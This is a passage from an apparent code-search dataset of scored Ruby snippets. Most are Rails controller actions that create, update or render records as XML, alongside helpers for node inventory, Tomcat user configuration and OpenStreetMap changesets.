allow the user to specify only the field(s)\n # they want to change, and fill in any missing fields from the\n # node's current OS. I.e. if the user just wanted to change the\n # OS version they shouldn't have to also specify the variant,\n # architecture, etc.\n if params.include?(:operating_system)\n params[:node][:operating_system_id] = find_or_create_operating_system().id\n end\n end\n # If the user didn't specify a hardware profile id but did specify\n # some hardware profile data then find or create a hardware\n # profile based on the info they did specify.\n if !params[:node].include?(:hardware_profile_id)\n # FIXME: This should allow the user to specify only the field(s)\n # they want to change, and fill in any missing fields from the\n # node's current hardware profile.\n if params.include?(:hardware_profile)\n params[:node][:hardware_profile_id] = find_or_create_hardware_profile().id\n end\n end\n # If the user didn't specify a status id but did specify a status name\n # then find or create a status based on the name.\n if !params[:node].include?(:status_id)\n if params.include?(:status) and !params[:status][:name].blank?\n status = Status.find_or_create_by_name(params[:status][:name].to_s)\n params[:node][:status_id] = status.id\n end\n end\n\n if params[:node][:virtualarch]\n if params[:node][:virtualmode]\n if params[:node][:virtualmode] == 'guest'\n virtual_guest = true\n # use switch ip & port info to find out who the vm host is\n vmhost = find_vm_host\n unless vmhost.nil?\n if vmhost.virtual_host?\n # does node belong to ANY vmvirt_assignment? (can only belong to ONE at any time as a guest)\n results = VirtualAssignment.find(:all,:conditions => [\"child_id = ?\", @node.id])\n if results.empty?\n xmlinfo << \"Virtual assignment to #{vmhost.name} doesn't exist. Creating...\"\n VirtualAssignment.create( :parent_id => vmhost.id, :child_id => @node.id)\n else\n xmlinfo << \"#{@node.name} already assigned to virtual host #{results.first.virtual_host.name}.\\n - Skipping vm guest assignment registration.\"\n end\n else\n xmlinfo << \"Found vmhost (#{vmhost.name}) but not registered in nventory as a vmhost.\\nCancelled virtual assignment\"\n end\n else\n xmlinfo << \"Was unable to find a vmhost associated to the switch and switch port.\"\n end\n elsif params[:node][:virtualmode] == 'host'\n # register all guest vms from value passed from cli\n if params[:vmguest].kind_of?(Hash)\n vmguests = params[:vmguest]\n # clear this out of hash or will try to register a non-existing table column\n # try to find each node if exists in nventory, if does then see if virtual assign exists to this vm host, if not create it\n vmguests.keys.each do |vmguest|\n vmresults = Node.find(:all,:conditions => [\"name like ?\",\"#{vmguest}%\"])\n if vmresults.size == 1\n vmnode = vmresults.first\n # Update fs size if diff\n vmnode.update_attributes(:vmimg_size => vmguests[vmguest][\"vmimg_size\"].to_i) \n vmnode.update_attributes(:vmspace_used => vmguests[vmguest][\"vmspace_used\"].to_i) \n # Check if a virtual machine assignment (host <=> guest) previously exists\n vmassign_results = VirtualAssignment.find(:all,:conditions => [\"child_id = ?\", vmnode.id])\n if vmassign_results.size > 1\n xmlinfo << \"#{vmguest} already registered to MULTIPLE vm hosts\\n (Illegal registration!) Should only belong to one vm assignment at any given time.\"\n elsif vmassign_results.size == 1\n xmlinfo << \"#{vmguest} already registered to vmhost #{vmassign_results.first.virtual_host.name}\\n - Skipping vm guest assignment registration.\"\n elsif vmassign_results.empty?\n xmlinfo << \"#{vmguest} not registered to vmhost #{@node.name}. Registering...\"\n VirtualAssignment.create(\n :parent_id => @node.id,\n :child_id => vmnode.id)\n end\n elsif vmresults.size > 1\n xmlinfo << \"#{vmguest}: More than 1 nodes found with that name. Unable to register.\"\n elsif vmresults.empty?\n xmlinfo << \"#{vmguest}: No nodes found with that name. Unable to register\"\n end\n end\n end # if params[:vmguest] == Hash\n end\n params[:node].delete(:virtualmode)\n end\n end\n\n process_blades(params[:blades]) if params[:blades]\n process_chassis(params[:chassis]) if params[:chassis]\n \n # If the user specified some network interface info then handle that\n if params[:format] == 'xml'\n # if it's xml request we want to output whether we found a switch port or not. \n # ideally xmloutput should be used for other steps in this other than just process_network_interfaces,\n # however, we'll start with this for now.\n virtual_guest ? (xmlinfo << process_network_interfaces(:noswitch)) : (xmlinfo << process_network_interfaces)\n else\n virtual_guest ? process_network_interfaces(:noswitch) : process_network_interfaces\n end\n process_storage_controllers\n # If the user specified a rack assignment then handle that\n process_rack_assignment\n # If the user included outlet names apply them now\n if params[:node].include?(:outlet_names)\n @node.update_outlets(params[:node][:outlet_names])\n params[:node].delete(:outlet_names)\n end\n # Process percent_cpu metrics\n process_utilization_metrics if (params[\"utilization_metric\"])\n xmloutput[:info] = xmlinfo.join(\"\\n\").to_s \n # Process volumes\n process_volumes if (params[\"volumes\"])\n process_name_aliases if (params[\"name_aliases\"])\n\n priorstatus = @node.status\n respond_to do |format|\n if @node.update_attributes(params[:node])\n email_status_update(params,priorstatus) if MyConfig.notifications.status_update\n flash[:notice] = 'Node was successfully updated.'\n format.html { redirect_to node_url(@node) }\n format.xml { render :xml => xmloutput.to_xml }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @node.errors.to_xml, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6306edcc363e7f6b0a3281e0b55de0a5", "score": "0.48011696", "text": "def create\n @user_feature_xref = UserFeatureXref.new(params[:user_feature_xref])\n\n respond_to do |format|\n if @user_feature_xref.save\n format.html { redirect_to(@user_feature_xref, :notice => 'User feature xref was successfully created.') }\n format.xml { render :xml => @user_feature_xref, :status => :created, :location => @user_feature_xref }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user_feature_xref.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2e964de134d99b25bf9784644ca841e2", "score": "0.47989377", "text": "def create\n\n @component = Component.new(params[:component])\n\n respond_to do |format|\n if @component.save\n format.xml { head :ok }\n end\n end\n end", "title": "" }, { "docid": "c310b2913e0b84e5642012b8d44dc9b8", "score": "0.47952482", "text": "def update\n @devex_user = DevexUser.find(params[:id])\n respond_to do |format|\n if @devex_user.update_attributes(params[:devex_user])\n @devex_user.transactions.uploadable.each do |transaction|\n transaction.upload_to_quickbooks\n end\n format.html { redirect_to(mappings_path, :notice => 'Devex user was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @devex_user.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cecaa53079d6ce6f8c4a1d54e8d3f69c", "score": "0.47952065", "text": "def update_tomcat_usersxml strFile\n\n\tFile.open(strFile) do |tomcatusersfile|\n\t\tusersxml = REXML::Document.new(tomcatusersfile)\n\t\t#update the server port number \n\t\ttomcat_users_root = usersxml.elements['tomcat-users']\n\t\ttomcat_users_root.add_element(get_tomcat_admin_role())\n\t\ttomcat_users_root.add_element(get_tomcat_admin_user())\n\t\tfusersxml = File.open(\"#{dspace_tomcatusers_xml}\", \"w\")\n\t\tfusersxml.puts usersxml\n\t\tusersXmlPath = fusersxml.path\n\t\tfusersxml.close\n\t\tend\nend", "title": "" }, { "docid": "a48b3229e830876ae619b936301400b2", "score": "0.47882792", "text": "def put(url, xml, version = nil)\n req = Net::HTTP::Put.new(url)\n req.content_type = 'application/x-ssds+xml'\n \n if(!version.nil?)\n req['if-match'] = version;\n end\n \n req.content_length = xml.to_s.size.to_s\n req.basic_auth @username, @password\n req.body = xml.to_s\n execute_request(req)\n end", "title": "" }, { "docid": "09ca6e98554136392568dd4a1a026215", "score": "0.4775146", "text": "def update\n @user = current_user\n @field = @user.fields.find(params[:id])\n if @field.update_attributes(x: params[:x],y: params[:y])\n render :xml => @field\n else\n render :xml => \"error\"\n end\n end", "title": "" }, { "docid": "5f3fec00eacf41f9bfee35e376a3ca6f", "score": "0.4745996", "text": "def update\n @component = Component.find(params[:id])\n\n respond_to do |format|\n if @component.update_attributes(params[:component])\n flash[:notice] = 'Component was successfully updated.'\n format.html { redirect_to edit_user_system_sys_config_url(@user, @system, @sys_config) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @component.errors.to_xml }\n end\n end\n end", "title": "" }, { "docid": "1f58a84cf57d3dfa6005f31b6f3e8007", "score": "0.47438344", "text": "def update_ref_id(ref_id)\r\n node_set = self.datastreams[\"VRA\"].ng_xml.xpath('/vra:vra/vra:image[@refid]')\r\n node_set[0].set_attribute(\"refid\", ref_id)\r\n self.datastreams[\"VRA\"].content = self.datastreams[\"VRA\"].ng_xml.to_s\r\n #self.datastreams[\"VRA\"].dirty = true\r\n end", "title": "" }, { "docid": "ddb6dd26fa1d2a350212c472ae3e6165", "score": "0.4730691", "text": "def create_git_xml(file_path, issue_id, papers_repo, journal_alias)\n id = \"%05d\" % issue_id\n crossref_xml_path = \"#{journal_alias}.#{id}/10.21105.#{journal_alias}.#{id}.crossref.xml\"\n\n gh_response = github_client.create_contents(papers_repo,\n crossref_xml_path,\n \"Creating 10.21105.#{journal_alias}.#{id}.crossref.xml\",\n File.open(\"#{file_path.strip}\").read,\n :branch => \"#{journal_alias}.#{id}\")\n\n return gh_response.content.html_url\n end", "title": "" }, { "docid": "c9ed0fd4220448ad8204b416a64f0745", "score": "0.47107577", "text": "def refX= value\r\n value = value.to_s\r\n @attributes['refX'] = value\r\n value.to_number\r\n end", "title": "" }, { "docid": "d23d1af60ba358bb18cac55df359c6a0", "score": "0.47069287", "text": "def update\n @reference_check = ReferenceCheck.find(params[:id])\n\n respond_to do |format|\n if @reference_check.update_attributes(user_params)\n format.html { redirect_to @reference_check, notice: 'Reference check was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @reference_check.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9befce453483ca4920c8f1c62a831a6c", "score": "0.47063142", "text": "def update!\n !! api_request(:put, \"/subscribers/#{self.customer_id}.xml\", :body => self.to_xml(:exclude => [:customer_id]))\n end", "title": "" }, { "docid": "b09cf7689ea2ef75787ed9d33962b318", "score": "0.4702281", "text": "def update\n @component = Component.find(params[:id])\n \n respond_to do |format|\n if @component.update_attributes(params[:component])\n flash[:notice] = 'Component was successfully updated.'\n format.html { redirect_to(@component) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @component.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c99238efa98a6e05678c5d303dd5515d", "score": "0.4700939", "text": "def update_ticket(ticket_num)\n \n url = ['/tickets/',ticket_num,'.xml'].join\n result = @connection.put url, \n (\n xml = Builder::XmlMarkup.new( :indent => 2 )\n xml.instruct! :xml, :encoding => \"UTF-8\"\n xml.ticket do |t|\n t.tag! \"solved-at\", Time.now\n t.tag! \"status-id\", \"3\"\n end\n )\n end", "title": "" }, { "docid": "d66f98e2046ad78ea0862cc8801ef249", "score": "0.46941283", "text": "def update\n components = params[:components]\n str = ''\n i = 0\n components.try(:each) do |c|\n str = if i == 0\n c.to_s\n else\n str.to_s + ',' + c.to_s\n end\n i += 1\n end\n @gratuity_master.base_component = str\n @gratuity_master.update(gratuity_master_params)\n @gratuity_master = GratuityMaster.new\n @gratuity_masters = GratuityMaster.all\n end", "title": "" }, { "docid": "990dcb4d2c1e711c74b6f653ed3901cf", "score": "0.46917385", "text": "def update\n respond_to do |format|\n if @xreflending.update(xreflending_params)\n format.html { redirect_to @xreflending, notice: 'Xreflending was successfully updated.' }\n format.json { render :show, status: :ok, location: @xreflending }\n else\n format.html { render :edit }\n format.json { render json: @xreflending.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e59e7a0e54f6aff8dfe0c782b59a1721", "score": "0.46738407", "text": "def set_component\n @component = Gooey::Component.find(params[:id])\n end", "title": "" }, { "docid": "db1f469dbea09cd0e2e25b83390ce9d5", "score": "0.46680656", "text": "def update\n @xray_value = XrayValue.find(params[:id])\n\n respond_to do |format|\n if @xray_value.update_attributes(params[:xray_value])\n format.html { redirect_to(@xray_value, :notice => 'XrayValue was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @xray_value.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "05b1b3a0812a47e6ec841b9309df6b28", "score": "0.46653047", "text": "def xml_for_ref_entity(co_elem) \n meta = {\"container\"=>co_elem.add_element(\"ctx:\"+@label)}\n\n if @metadata.length > 0 or @format\n meta[\"metadata-by-val\"] = meta[\"container\"].add_element(\"ctx:metadata-by-val\")\n if @format \n meta[\"format\"] = meta[\"metadata-by-val\"].add_element(\"ctx:format\")\n meta[\"format\"].text = \"info:ofi/fmt:xml:xsd:\"+@format\n\n if @metadata.length > 0\n meta[\"metadata\"] = meta[\"metadata-by-val\"].add_element(\"ctx:metadata\")\n meta[\"format_container\"] = meta[\"metadata\"].add_element(@format)\n meta[\"format_container\"].add_namespace(@abbr, meta[\"format\"].text)\n meta[\"format_container\"].add_attribute(\"xsi:schemaLocation\", meta[\"format\"].text+\" http://www.openurl.info/registry/docs/info:ofi/fmt:xml:xsd:\"+@format) \n @metadata.each do |k,v|\n (Array === v ? v : [v]).each {|val|\n meta[k] = meta[\"format_container\"].add_element(@abbr+\":\"+k)\n meta[k].text = val\n }\n end\n end\n end\n end\n if @reference[\"format\"] \n meta[\"metadata-by-ref\"] = meta[\"container\"].add_element(\"ctx:metadata-by-ref\")\n meta[\"ref_format\"] = meta[\"metadata-by-ref\"].add_element(\"ctx:format\")\n meta[\"ref_format\"].text = @reference[\"format\"]\n meta[\"ref_loc\"] = meta[\"metadata-by-ref\"].add_element(\"ctx:location\")\n meta[\"ref_loc\"].text = @reference[\"location\"] \n end\n \n @identifiers.each do |id|\n # Yes, if there's more than one, meta[\"identifier\"] will get\n # overwritten with last. I don't think this is a problem, cause\n # meta[\"identifier\"] isn't used anywhere. \n meta[\"identifier\"] = meta[\"container\"].add_element(\"ctx:identifier\")\n meta[\"identifier\"].text = id\n end\n if @private_data\n meta[\"private-data\"] = meta[\"container\"].add_element(\"ctx:private-data\")\n meta[\"private-data\"].text = @private_data\n end \n return co_elem\n end", "title": "" }, { "docid": "26d145cb52ffe1936a4deca067ed18cd", "score": "0.46518636", "text": "def create\n @component = current_user.components.new(params[:component])\n\n respond_to do |format|\n if @component.save\n flash[:notice] = 'Component was successfully created.'\n format.html { redirect_to(@component) }\n format.xml { render :xml => @component, :status => :created, :location => @component }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @component.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "23b5f5e4dacfb330cb1e0ffd4590ef63", "score": "0.4651328", "text": "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post opts.fetch(:path, update_path), opts\n end", "title": "" }, { "docid": "9d8e27484132c2c9f0ac4061fcff17e6", "score": "0.4646257", "text": "def update(user_name, repo_name, component_id, params={})\n _update_user_repo_params(user_name, repo_name)\n _validate_user_repo_params(user, repo) unless user? && repo?\n _validate_presence_of component_id\n\n normalize! params\n filter! VALID_COMPONENT_INPUTS, params\n assert_required_keys(VALID_COMPONENT_INPUTS, params)\n\n put_request(\"/1.0/repositories/#{user}/#{repo.downcase}/issues/components/#{component_id}\", params)\n end", "title": "" }, { "docid": "ff0a7c0bc5a010337636574483508125", "score": "0.4644771", "text": "def updateresource(_docname,_commands)\n res = @collection.call(\"xupdateResource\", _docname.to_s, _commands.to_s)\n rescue\n begin\n raise ExistException.new(\"Failed to update resource\", 31), \"Failed to update resource\", caller\n end\n end", "title": "" }, { "docid": "7a5bf1bba5f44f6d2ce52e2e05b6fb42", "score": "0.46398118", "text": "def update\n @testcase_bug_xref = TestcaseBugXref.find(params[:id])\n\n respond_to do |format|\n if @testcase_bug_xref.update_attributes(params[:testcase_bug_xref])\n format.html { redirect_to(@testcase_bug_xref, :notice => 'Testcase bug xref was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @testcase_bug_xref.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "854a50764b2e38db5f5f2691b53b5e25", "score": "0.46369612", "text": "def set_course_x_entity\n @course_x_entity = CourseXEntity.find(params[:id])\n end", "title": "" }, { "docid": "64c679921951f87a1b8da1542646fef6", "score": "0.46364224", "text": "def show\n @component = Component.find(params[:id]).to_xml(:include => [:comptype, :location], :dasherize => false)\n respond_to do |format|\n format.xml { render :xml => @component}\n end\n end", "title": "" }, { "docid": "55d5701d0eaa594495208b93fd2d957b", "score": "0.4633849", "text": "def update\n @component = Component.find(params[:id])\n\n respond_to do |format|\n if @component.update_attributes(params[:component])\n flash[:notice] = 'Component was successfully updated.'\n format.html { redirect_to(@component) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @component.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "55d5701d0eaa594495208b93fd2d957b", "score": "0.4633849", "text": "def update\n @component = Component.find(params[:id])\n\n respond_to do |format|\n if @component.update_attributes(params[:component])\n flash[:notice] = 'Component was successfully updated.'\n format.html { redirect_to(@component) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @component.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a4100a3eba6a820a6789694a2ec4c5de", "score": "0.46273893", "text": "def update\n @component = Component.find(params[:id])\n\n respond_to do |format|\n if @component.update_attributes(params[:component])\n flash[:notice] = 'Component was successfully updated.'\n format.html { redirect_to(components_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @component.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "abbdcdf7f075bb612d6b1affb2af705f", "score": "0.46021006", "text": "def xrefs_for_written_by_tag_for_OBO(ref = nil, proj = nil)\n return \"[ERROR:ONTOLOGY_CLASS_WITHOUT_WRITTEN_BY]\" if ref.nil?\n xrefs = [xref_for_ref(ref, proj)]\n return \"[\" + xrefs.join(\", \") + \"]\" # there has to be at least one\n end", "title": "" }, { "docid": "a08cfdcc569c8e7dec4e9a1cef7680c5", "score": "0.45938194", "text": "def update\n respond_to do |format|\n if @userx.update(userx_params)\n format.html { redirect_to @userx, notice: 'Profile was successfully updated.' }\n format.json { render :show, status: :ok, location: @userx }\n else\n format.html { render :edit }\n format.json { render json: @userx.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2659977d229e2aa987b1d3625d3e64e8", "score": "0.4591927", "text": "def update\n @xray = Xray.find(params[:id])\n\n respond_to do |format|\n if @xray.update_attributes(params[:xray])\n format.html { redirect_to(@xray, :notice => 'Xray was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @xray.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4efdd28b0b46218afe72d49271bd0c50", "score": "0.45901135", "text": "def xml_replace_node(xml, old_node, new_node)\n xml.find(\"//osm/way/nd[@ref='#{old_node}']\").first[\"ref\"] = new_node.to_s\n xml\n end", "title": "" }, { "docid": "acb7e9d15052eb1dabf43aa73f03727b", "score": "0.4588466", "text": "def update\n @xfile = Xfile.find(params[:id])\n\n respond_to do |format|\n if @xfile.update_attributes(params[:xfile])\n format.html { redirect_to @xfile, notice: 'Xfile was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @xfile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c7e4faa7244fbfd0b4772924991d45a9", "score": "0.45874226", "text": "def post_component_family(opts)\n # Get the component profile\n data = LibXML::XML::Parser.string(request.raw_post).parse\n component_profile_uri = parse_element(data, :text, '/pack/component-profile')\n\n unless component_profile_uri\n return rest_response(400, :reason => \"Missing component profile URI\")\n end\n\n component_profile = resource_from_uri(component_profile_uri)\n\n if component_profile.nil?\n return rest_response(404, :reason => \"No component profile found at: #{component_profile_uri}\")\n elsif !component_profile.is_a?(Blob) && !component_profile.is_a?(BlobVersion)\n return rest_response(400, :reason => \"#{component_profile_uri} is not a valid component profile (not a file)\")\n elsif component_profile.content_type.mime_type != 'application/vnd.taverna.component-profile+xml'\n return rest_response(400, :reason => \"#{component_profile_uri} is not a valid component profile (wrong MIME type)\")\n end\n\n # Create the component family\n response = pack_aux('create', opts)\n\n # Awful hack to get the newly created component family\n family = resource_from_uri(response[:xml].find_first('//pack')['resource'])\n\n # Add the profile\n if component_profile.is_a?(Blob)\n PackContributableEntry.create(:pack => family, :contributable => component_profile, :user => opts[:user])\n elsif component_profile.is_a?(BlobVersion)\n PackContributableEntry.create(:pack => family, :contributable => component_profile.blob,\n :contributable_version => component_profile.version, :user => opts[:user])\n end\n\n # Add the tag\n tag = Tag.find_or_create_by_name('component family')\n Tagging.create(:tag => tag, :taggable => family, :user => opts[:user])\n\n # Return resource\n rest_get_request(family, opts[:user], { \"id\" => family.id.to_s })\nend", "title": "" }, { "docid": "1c535c9730f2e171c41098f52d71f515", "score": "0.45852712", "text": "def update_uploads_xml(xml, upload_guid)\n first_oi = nil\n \n oi_list = OriginalInput.where(\"uploaded_file_id = ? and input_category = 'Upload'\", upload_guid)\n ActiveRecord::Base.transaction do\n oi_list.each {|oi|\n first_oi = oi if first_oi.nil?\n \n oi.raw_content = xml if xml.present?\n oi.save\n }\n end\n first_oi\n end", "title": "" }, { "docid": "f6018bfebe02fd19d8e4c850bb2ef58f", "score": "0.45837888", "text": "def test_changeset_update_invalid\n basic_authorization create(:user).email, \"test\"\n\n changeset = create(:changeset)\n new_changeset = changeset.to_xml\n new_tag = XML::Node.new \"tag\"\n new_tag[\"k\"] = \"testing\"\n new_tag[\"v\"] = \"testing\"\n new_changeset.find(\"//osm/changeset\").first << new_tag\n\n content new_changeset\n put :update, :params => { :id => changeset.id }\n assert_response :conflict\n end", "title": "" }, { "docid": "ed89d942ae737881f9f60a0a0e06ec7d", "score": "0.4572442", "text": "def update\n @component = ComponentCreator.update(\n id: params[:id],\n name: component_params[:name],\n element: component_params[:element]\n )\n\n if @component.errors.empty?\n render :show, status: :ok, location: @component\n else\n render json: @component.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "6818107673eade3cf88598e7a9be6060", "score": "0.45717013", "text": "def update\n respond_to do |format|\n if @user_reference.update(user_reference_params)\n format.html { redirect_to @user_reference, notice: 'User reference was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_reference }\n else\n format.html { render :edit }\n format.json { render json: @user_reference.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9a3bb93848052d9cd40ed2c1a173ddea", "score": "0.45688993", "text": "def respond_with_user_xrds(username)\n respond(\"#{@base}#{username}\", <<-DOC)\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<xrds:XRDS xmlns:xrds=\"xri://$xrds\" xmlns=\"xri://$xrd*($v*2.0)\">\n <XRD>\n <Service priority=\"0\">\n <Type>#{OpenID::OPENID_2_0_TYPE}</Type>\n <URI>#{@endpoint}</URI>\n </Service>\n </XRD>\n</xrds:XRDS>\n DOC\n end", "title": "" }, { "docid": "9a2a9666f8ba29e3d6c39c694bf891f8", "score": "0.4566711", "text": "def update_from(xml, *fields)\n update values_from(xml, *fields)\n save\n end", "title": "" }, { "docid": "3883db6fe90e1e9e2c52564fa2f931c4", "score": "0.45648354", "text": "def set_userx\n @userx = Userx.find(params[:id])\n end", "title": "" }, { "docid": "5b70ce710d60095ccda244a0de287aca", "score": "0.45545602", "text": "def update_ref_id(ref_id)\n node_set = self.datastreams[\"VRA\"].ng_xml.xpath('/vra:vra/vra:image[@refid]')\n node_set[0].set_attribute(\"refid\", ref_id)\n self.datastreams[\"VRA\"].content = self.datastreams[\"VRA\"].ng_xml.to_s\n end", "title": "" }, { "docid": "d61a25d69ed10b03601d4f17ba7d9ef3", "score": "0.45504475", "text": "def update\n #RAILS_DEFAULT_LOGGER.debug(\"******** REST Call to CRMS: Updating #{self.class.name}:#{self.id}\")\n #RAILS_DEFAULT_LOGGER.debug(caller[0..5].join(\"\\n\")) \n response = connection.put(element_path(prefix_options), to_xml, self.class.headers)\n save_nested\n load_attributes_from_response(response)\n merge_saved_nested_resources_into_attributes\n response\n end", "title": "" }, { "docid": "9647f0121868c3011543151b6610c610", "score": "0.45454273", "text": "def update\n @xlink = Xlink.find(params[:id])\n\n respond_to do |format|\n if @xlink.update_attributes(params[:xlink])\n format.html { redirect_to(@xlink, :notice => 'Xlink was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @xlink.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "80c22cdbeba27b37afd2b87b9eaff526", "score": "0.4542905", "text": "def update\n\n @reference = @library.references.viewable(@active_user, @active_group).complete.find(params[:id])\n\n #CHECK PERMISSIONS HERE\n unless Acl.has_rights(@reference.active_permissions, Bfree::Acl::Permissions.WriteMetadata)\n raise Exceptions::PermissionError.new(@active_user.name, Bfree::Acl::Permissions.WriteMetadata)\n end\n\n Document.transaction do\n\n @reference.document.update_properties(@active_user, params)\n\n unless @reference.document.save\n raise @reference.document.errors\n end\n\n end\n\n columns = ReferencesHelper.columns_by_doctype(@reference.document)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reference.to_json(:only => columns) }\n end\n\n end", "title": "" }, { "docid": "c39f6a6816e49da092ee0bc8f65ceed5", "score": "0.4522139", "text": "def update\n begin\n p = XML::Parser.string(request.raw_post)\n rescue LibXML::XML::Error, ArgumentError => ex\n raise OSM::APIBadXMLError.new(\"preferences\", xml, ex.message)\n end\n doc = p.parse\n\n prefs = []\n\n keyhash = {}\n\n doc.find('//preferences/preference').each do |pt|\n pref = UserPreference.new\n\n unless keyhash[pt['k']].nil? # already have that key\n render :text => 'OH NOES! CAN HAS UNIQUE KEYS?', :status => :not_acceptable\n end\n\n keyhash[pt['k']] = 1\n\n pref.k = pt['k']\n pref.v = pt['v']\n pref.user_id = @user.id\n prefs << pref\n end\n\n if prefs.size > 150\n render :text => 'Too many preferences', :status => :request_entity_too_large\n end\n\n # kill the existing ones\n UserPreference.delete_all(['user_id = ?', @user.id])\n\n # save the new ones\n prefs.each do |pref|\n pref.save!\n end\n render :nothing => true\n\n rescue Exception => ex\n render :text => 'OH NOES! FAIL!: ' + ex.to_s, :status => :internal_server_error\n end", "title": "" }, { "docid": "e73a7e7daebf33a6508d2a7b74384c0a", "score": "0.45209655", "text": "def update\n @component = Component.find(params[:id])\n\n respond_to do |format|\n if @component.update_attributes(params[:component])\n format.js { \n @components = @component.is_root? ? @project.components.roots : @component.siblings\n @context_component = Component.find(params[:context]) if params.has_key?(:context)\n }\n format.html { \n if params.has_key? :redirect\n redirect_to(params[:redirect])\n else\n redirect_to(@component, :notice => 'Component was successfully updated.') \n end\n }\n format.xml { head :ok }\n else\n format.js\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @component.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9018ea4383cec185aae4484c1fe93fb7", "score": "0.45189953", "text": "def set_user_reference\n @user_reference = UserReference.find(params[:id])\n end", "title": "" }, { "docid": "2d76514bcd8c8900b4f617eaaae2e23d", "score": "0.45099857", "text": "def apply_component(component)\n unless component.is_a? PuppetX::Provider::XmlComponent\n name = component.intern\n component = self.class.component_store[name]\n else\n name = component.attr(:name)\n end\n\n path = self.class.component_store.xpath(component)\n match = REXML::XPath.first(@element, path)\n\n if @property_hash[name] == :absent\n unless match.nil?\n match.remove if [REXML::Element, REXML::Attribute].include? match.class\n end\n else\n if match.nil?\n match = create_component_in_entity(component)\n end\n\n unless @property_hash[name] == :present\n if match.is_a? REXML::Element\n match.text = @property_hash[name]\n elsif match.is_a? REXML::Attribute\n parent = match.element\n temp_attr = REXML::Attribute.new(name.to_s, @property_hash[name].to_s)\n\n # Replace the old attribute\n match.remove\n parent.add_attribute(temp_attr)\n end\n end\n end\n end", "title": "" }, { "docid": "3ce6f975b84c66f840c7476478f81baa", "score": "0.45088664", "text": "def update!(**args)\n @components = args[:components] if args.key?(:components)\n @name = args[:name] if args.key?(:name)\n end", "title": "" }, { "docid": "3ce6f975b84c66f840c7476478f81baa", "score": "0.45088664", "text": "def update!(**args)\n @components = args[:components] if args.key?(:components)\n @name = args[:name] if args.key?(:name)\n end", "title": "" }, { "docid": "522e6b14b87dfd1a5266bed200647c69", "score": "0.45064977", "text": "def update\n @component = current_cms.components.find(params[:id])\n respond_to do |format|\n if @component.update_attributes(params[:big_cms_component])\n format.html { render :action => \"edit\" }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @component.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0b67f987e8f0d0878f11646e5bcdec24", "score": "0.44999456", "text": "def update_changeset(xml, changeset_id)\n xml_attr_rewrite(xml, \"changeset\", changeset_id)\n end", "title": "" }, { "docid": "0b67f987e8f0d0878f11646e5bcdec24", "score": "0.44999456", "text": "def update_changeset(xml, changeset_id)\n xml_attr_rewrite(xml, \"changeset\", changeset_id)\n end", "title": "" }, { "docid": "0b67f987e8f0d0878f11646e5bcdec24", "score": "0.44999456", "text": "def update_changeset(xml, changeset_id)\n xml_attr_rewrite(xml, \"changeset\", changeset_id)\n end", "title": "" }, { "docid": "dbbf0f6afce588379aef8498c4fa2330", "score": "0.44986317", "text": "def post_component_profile(opts)\n response = file_aux('create', opts)\n\n # Return error from creation attempt, if any\n return response if response[:status] && response[:status][0] != '2'\n\n # Awful hack to get the newly created profile object\n profile = resource_from_uri(response[:xml].find_first('//file')['resource'])\n\n # Add the tag\n tag = Tag.find_or_create_by_name('component profile')\n Tagging.create(:tag => tag, :taggable => profile, :user => opts[:user])\n\n # Return resource\n rest_get_request(profile, opts[:user], { \"id\" => profile.id.to_s })\nend", "title": "" }, { "docid": "62b3e7cea1901c7ed5beb6f2c84e9133", "score": "0.44923362", "text": "def update\n respond_to do |format|\n if @course_x_entity.update(course_x_entity_params)\n format.html { redirect_to @course_x_entity, 